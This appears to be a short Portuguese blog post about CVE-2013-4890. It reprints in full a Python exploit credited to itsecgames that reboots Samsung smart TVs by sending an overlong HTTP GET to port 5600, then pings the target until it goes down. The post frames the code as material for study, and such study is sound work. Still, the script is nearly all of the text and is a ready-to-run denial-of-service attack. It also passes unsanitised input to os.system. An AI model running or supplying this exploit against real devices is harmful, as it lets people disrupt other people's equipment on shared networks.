Segundo os integrantes do site Itsecgames o exploit que eles desenvolveram possiblita resetar aparalhos smartv quando conectados na mesma rede do agressor. O script em Python é simples e usa a biblioteca httplib para explorar a vulnerabilidade da TV. O código para que possa ser analisado para fins de estudo está abaixo:
#!/usr/bin/python
# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# Date: 07/21/2013
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description:
# The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
# As a results, the TV reboots...
# Tested successfully on my Samsung PS50C7700 plasma TV, with the latest firmware :)
import httplib
import sys
import os
print " ***************************************************************************************"
print " Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"
print " Exploit: Denial of Service (DoS) attack\n"
print " Description:\n"
print " The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print " Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print " ***************************************************************************************\n"
# Sends the payload
print " Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()
# Checks the response
print " Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
if response != 0:
print " Target down!\n"
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